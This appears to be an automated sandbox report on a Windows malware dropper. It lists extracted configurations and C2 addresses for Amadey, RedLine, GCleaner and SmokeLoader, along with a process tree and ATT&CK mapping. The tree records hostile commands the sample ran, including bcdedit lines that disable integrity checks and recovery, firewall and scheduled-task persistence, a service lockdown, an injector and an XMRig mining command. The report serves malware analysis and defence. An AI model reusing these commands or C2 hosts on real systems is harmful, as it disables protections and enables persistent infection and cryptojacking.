Overview

overview

10

Static

static

3

winprofile

windows7-x64

10

winprofile

windows10-1703-x64

10

Analysis

  • max time kernel
    294s
  • max time network
    300s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16/05/2024, 23:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    b1b7cc600c87f314a20d14a8657181e6577d163d333a503c3a366da53212b282.exe
  • Size 1.8MB
  • Sample240516-3wj1tsfc2x
  • SHA256 b1b7cc600c87f314a20d14a8657181e6577d163d333a503c3a366da53212b282
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeydcratgcleanergluptebaredlinesmokeloaderxmrig1c767c0backdoordiscoverydropperevasionexecutioninfostealerloaderminerpersistenceransomwareratrootkitspywarestealertrojanupx

Malware Config

Extracted

Family

  • amadey

Version

  • 4.20

Botnet

  • c767c0

C2

  • http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

  • redline

Botnet

  • 1

C2

  • 185.215.113.67:26260

Extracted

Family

  • gcleaner

C2

  • 185.172.128.90

  • 5.42.64.56

  • 5.42.65.64

Extracted

Family

  • smokeloader

Version

  • 2022

C2

  • http://trad-einmyus.com/index.php

  • http://tradein-myus.com/index.php

  • http://trade-inmyus.com/index.php

rc4.i32
rc4.i32

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 15 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Windows security bypass 2 TTPs 7 IoCs
    evasiontrojan
  • XMRig Miner payload 4 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs
    ransomwareevasion
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 29 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 50 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Windows security modification 2 TTPs 7 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 15 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of FindShellTrayWindow 31 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\b1b7cc600c87f314a20d14a8657181e6577d163d333a503c3a366da53212b282.exe
    "C:\Users\Admin\AppData\Local\Temp\b1b7cc600c87f314a20d14a8657181e6577d163d333a503c3a366da53212b282.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2712
    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
      "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2064
      • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
        "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2904
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2904 -s 116
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:1544
      • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
        "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2028
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2028 -s 100
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:1524
      • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
        "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
        3⤵
        • Executes dropped EXE
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1316
      • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
        "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:668
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Program Files (x86)\GameStabilityService\installm.bat" "
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1844
          • C:\Windows\SysWOW64\sc.exe
            Sc delete GameSyncLinks
            5⤵
            • Launches sc.exe
            PID:1272
          • C:\Program Files (x86)\GameStabilityService\GameService.exe
            GameService remove GameSyncLinks confirm
            5⤵
            • Executes dropped EXE
            PID:548
          • C:\Program Files (x86)\GameStabilityService\GameService.exe
            GameService install GameStabilityService "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
            5⤵
            • Executes dropped EXE
            PID:836
          • C:\Program Files (x86)\GameStabilityService\GameService.exe
            GameService start GameStabilityService
            5⤵
            • Executes dropped EXE
            PID:3044
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
          4⤵
            PID:780
        • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
          "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
          3⤵
          • Executes dropped EXE
          PID:2532
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2532 -s 96
            4⤵
            • Loads dropped DLL
            • Program crash
            PID:2652
        • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
          "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
          3⤵
          • Executes dropped EXE
          PID:2576
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2576 -s 52
            4⤵
            • Loads dropped DLL
            • Program crash
            PID:2896
        • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
          "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          PID:1556
          • C:\Windows\SysWOW64\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
            4⤵
            • Creates scheduled task(s)
            PID:2908
          • C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe
            "C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe"
            4⤵
            • Executes dropped EXE
            PID:1280
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /im "dl.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe" & exit
              5⤵
                PID:2796
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /im "dl.exe" /f
                  6⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2704
            • C:\Users\Admin\AppData\Local\Temp\1000264001\toolspub1.exe
              "C:\Users\Admin\AppData\Local\Temp\1000264001\toolspub1.exe"
              4⤵
              • Executes dropped EXE
              • Checks SCSI registry key(s)
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              PID:2812
            • C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe
              "C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2664
              • C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe
                "C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe"
                5⤵
                • Windows security bypass
                • Executes dropped EXE
                • Loads dropped DLL
                • Windows security modification
                • Adds Run key to start application
                • Checks for VirtualBox DLLs, possible anti-VM trick
                • Drops file in Windows directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                PID:2308
                • C:\Windows\system32\cmd.exe
                  C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                  6⤵
                    PID:2900
                    • C:\Windows\system32\netsh.exe
                      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                      7⤵
                      • Modifies Windows Firewall
                      • Modifies data under HKEY_USERS
                      PID:2336
                  • C:\Windows\rss\csrss.exe
                    C:\Windows\rss\csrss.exe
                    6⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Adds Run key to start application
                    • Manipulates WinMon driver.
                    • Manipulates WinMonFS driver.
                    • Drops file in Windows directory
                    • Modifies system certificate store
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2520
                    • C:\Windows\system32\schtasks.exe
                      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                      7⤵
                      • Creates scheduled task(s)
                      PID:2096
                    • C:\Windows\system32\schtasks.exe
                      schtasks /delete /tn ScheduledUpdate /f
                      7⤵
                        PID:1788
                      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                        7⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Modifies system certificate store
                        PID:2084
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1808
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1696
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:2288
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1276
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:2780
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1736
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:648
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:688
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1100
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:560
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1768
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -timeout 0
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:2412
                        • C:\Windows\system32\bcdedit.exe
                          C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                          8⤵
                          • Modifies boot configuration data using bcdedit
                          PID:844
                      • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                        7⤵
                        • Executes dropped EXE
                        PID:1656
                      • C:\Windows\system32\bcdedit.exe
                        C:\Windows\Sysnative\bcdedit.exe /v
                        7⤵
                        • Modifies boot configuration data using bcdedit
                        PID:2768
                      • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                        7⤵
                        • Executes dropped EXE
                        PID:2568
                      • C:\Windows\system32\schtasks.exe
                        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                        7⤵
                        • Creates scheduled task(s)
                        PID:2128
                      • C:\Windows\windefender.exe
                        "C:\Windows\windefender.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:2188
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                          8⤵
                            PID:1752
                            • C:\Windows\SysWOW64\sc.exe
                              sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                              9⤵
                              • Launches sc.exe
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2372
                • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:772
            • C:\Program Files (x86)\GameStabilityService\GameService.exe
              "C:\Program Files (x86)\GameStabilityService\GameService.exe"
              1⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3020
              • C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
                "C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe"
                2⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Drops file in Program Files directory
                • Suspicious use of WriteProcessMemory
                PID:1952
                • C:\Windows\Temp\276210.exe
                  "C:\Windows\Temp\276210.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 86Adxfq6AnkKUZNQwBuLMF9HYKxy399q4GoNvX86ddj4DNkHhKaPCWagERDeBPVYSw76hQwZATyV8GAWhX5g2ujETX6AWcp --coin XMR -t 1 --no-color -p x
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  PID:768
            • C:\Windows\system32\makecab.exe
              "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240516235218.log C:\Windows\Logs\CBS\CbsPersist_20240516235218.cab
              1⤵
              • Drops file in Windows directory
              PID:3032
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
              1⤵
                PID:2704
              • C:\Windows\system32\cmd.exe
                cmd /c ""C:\Users\Admin\AppData\Local\Temp\A9F5.bat" "
                1⤵
                  PID:1452
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                    2⤵
                      PID:1004
                  • C:\Windows\system32\cmd.exe
                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\B961.bat" "
                    1⤵
                      PID:2792
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                        2⤵
                          PID:2092
                      • C:\Windows\system32\taskeng.exe
                        taskeng.exe {A28CE002-3934-4044-A753-6C2FF16203A7} S-1-5-21-3452737119-3959686427-228443150-1000:QGTQZTRE\Admin:Interactive:[1]
                        1⤵
                          PID:1536
                          • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                            C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                            2⤵
                            • Executes dropped EXE
                            PID:2276
                          • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                            C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                            2⤵
                            • Executes dropped EXE
                            PID:916
                          • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                            C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                            2⤵
                            • Executes dropped EXE
                            PID:2936
                          • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                            C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                            2⤵
                            • Executes dropped EXE
                            PID:1600
                        • C:\Windows\system32\conhost.exe
                          \??\C:\Windows\system32\conhost.exe "718628423-2089630921-1635828164-389770298-1059732943-14850021901545995333-1316607863"
                          1⤵
                            PID:1280
                          • C:\Windows\windefender.exe
                            C:\Windows\windefender.exe
                            1⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            PID:2720
                          • C:\Windows\explorer.exe
                            explorer.exe
                            1⤵
                            • Modifies Installed Components in the registry
                            • Modifies registry class
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            PID:1484

                          Network

                                MITRE ATT&CK Enterprise v15

                                Reconnaissance

                                Resource Development

                                Initial Access

                                Execution

                                Command and Scripting Interpreter

                                1
                                T1059

                                Scheduled Task/Job

                                1
                                T1053

                                System Services

                                1
                                T1569

                                Service Execution

                                1
                                T1569.002

                                Persistence

                                Boot or Logon Autostart Execution

                                2
                                T1547

                                Registry Run Keys / Startup Folder

                                2
                                T1547.001

                                Create or Modify System Process

                                2
                                T1543

                                Windows Service

                                2
                                T1543.003

                                Scheduled Task/Job

                                1
                                T1053

                                Privilege Escalation

                                Boot or Logon Autostart Execution

                                2
                                T1547

                                Registry Run Keys / Startup Folder

                                2
                                T1547.001

                                Create or Modify System Process

                                2
                                T1543

                                Windows Service

                                2
                                T1543.003

                                Scheduled Task/Job

                                1
                                T1053

                                Defense Evasion

                                Impair Defenses

                                5
                                T1562

                                Disable or Modify System Firewall

                                1
                                T1562.004

                                Disable or Modify Tools

                                2
                                T1562.001

                                Modify Registry

                                5
                                T1112

                                Subvert Trust Controls

                                1
                                T1553

                                Install Root Certificate

                                1
                                T1553.004

                                Virtualization/Sandbox Evasion

                                2
                                T1497

                                Credential Access

                                Unsecured Credentials

                                2
                                T1552

                                Credentials In Files

                                2
                                T1552.001

                                Discovery

                                Peripheral Device Discovery

                                1
                                T1120

                                Query Registry

                                6
                                T1012

                                System Information Discovery

                                4
                                T1082

                                Virtualization/Sandbox Evasion

                                2
                                T1497

                                Lateral Movement

                                Collection

                                Data from Local System

                                2
                                T1005

                                Command and Control

                                Web Service

                                1
                                T1102

                                Exfiltration

                                Impact

                                Inhibit System Recovery

                                1
                                T1490

                                Service Stop

                                1
                                T1489

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                GameService.exe
                                • Path C:\Program Files (x86)\GameStabilityService\GameService.exe
                                • Size 288KB
                                • SHA256 472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                GameStabilityService.exe
                                • Path C:\Program Files (x86)\GameStabilityService\GameStabilityService.exe
                                • Size 6.2MB
                                • SHA256 76b585b4eac7b0584f28d66d6bf37ad29b1ab73354cbd3c5bb1c819787208f0b
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                installm.bat
                                • Path C:\Program Files (x86)\GameStabilityService\installm.bat
                                • Size 247B
                                • SHA256 2f6be6b40cf7c1802b6540dbf0b90eac67fd6a94067a06090e1f71bee164188d
                                • MD5 SHA1 SHA512
                                Submit Download

                                94308059B57B3142E455B38A6EB92015
                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                                • Size 68KB
                                • SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                alex.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
                                • Size 2.7MB
                                • SHA256 222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                crypted333.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
                                • Size 474KB
                                • SHA256 c69c17f4c6b2206437e7954c02424b80605d40e98c0adcad6839e170c94b1c82
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                redline1.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
                                • Size 304KB
                                • SHA256 0854678d655668c8ebb949c990166e26a4c04aef4ecf0191a95693ca150a9715
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                install.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
                                • Size 2.0MB
                                • SHA256 01862602fb4853d90796a1a669b4ec4ab5e8cc6a774bf94e707171d5e16594fc
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                swizzzz.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
                                • Size 778KB
                                • SHA256 2aab2ca39749b21877d1c52526009f9f5d251d934205e9f671a9e84cecd55afa
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                lumma1.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                                • Size 1.2MB
                                • SHA256 a2aa61942bae116f8c855fda0e9a991dba92b3a1e2f147aee0e7e2be1bdea383
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                NewB.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                • Size 418KB
                                • SHA256 919ae827ff59fcbe3dbaea9e62855a4d27690818189f696cfb5916a88c823226
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                file300un.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                                • Size 379KB
                                • SHA256 4736228698b5bb9b7dc86f4dbfe539e54fe5f5153be6c4aec7b8269e34c7a84b
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                dl.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000263001\dl.exe
                                • Size 280KB
                                • SHA256 39c3b9a4bb0c39de60e0f1f1e691b1660e1d12c5b19b184fd93970188b4fe3ee
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                toolspub1.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000264001\toolspub1.exe
                                • Size 221KB
                                • SHA256 7b36b0b2ea7d0e8ebf5d056fe9cd79563d85a44eb6cdfdd5f4417ea55c508f87
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                4767d2e713f2021e8fe856e3ea638b58.exe
                                • Path C:\Users\Admin\AppData\Local\Temp\1000265001\4767d2e713f2021e8fe856e3ea638b58.exe
                                • Size 4.1MB
                                • SHA256 b1215d4f4dca4a76800e715d991d3362edef3c97f0388bab1336157b365c4fca
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                7ZSfx000.cmd
                                • Path C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd
                                • Size 208B
                                • SHA256 5a0070457636d37c11deb3148f6914583148fe45a66f44d7852f007ed5aad0ac
                                • MD5 SHA1 SHA512
                                Submit Download

                                A9F5.bat
                                • Path C:\Users\Admin\AppData\Local\Temp\A9F5.bat
                                • Size 77B
                                • SHA256 d6cceb3c71b80403364bf142f2fa4624ee0be36a49bac25ed45a497cf1ce9c3a
                                • MD5 SHA1 SHA512
                                Submit Download

                                Cab975F.tmp
                                • Path C:\Users\Admin\AppData\Local\Temp\Cab975F.tmp
                                • Size 65KB
                                • SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                download.error
                                • Path C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error
                                • Size 1.9MB
                                • SHA256 fdfb7bc32b1f9965c49a87f0effa5a1206556c7e7af8c01c513d41fa457ccccc
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                download.error
                                • Path C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
                                • Size 492KB
                                • SHA256 feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71
                                • MD5 SHA1 SHA512 SSDEEP
                                Submit Download

                                Tar99C3.tmp
                                • Path C:\Users\Admin\AppData\Local\Temp\Tar99C3.tmp
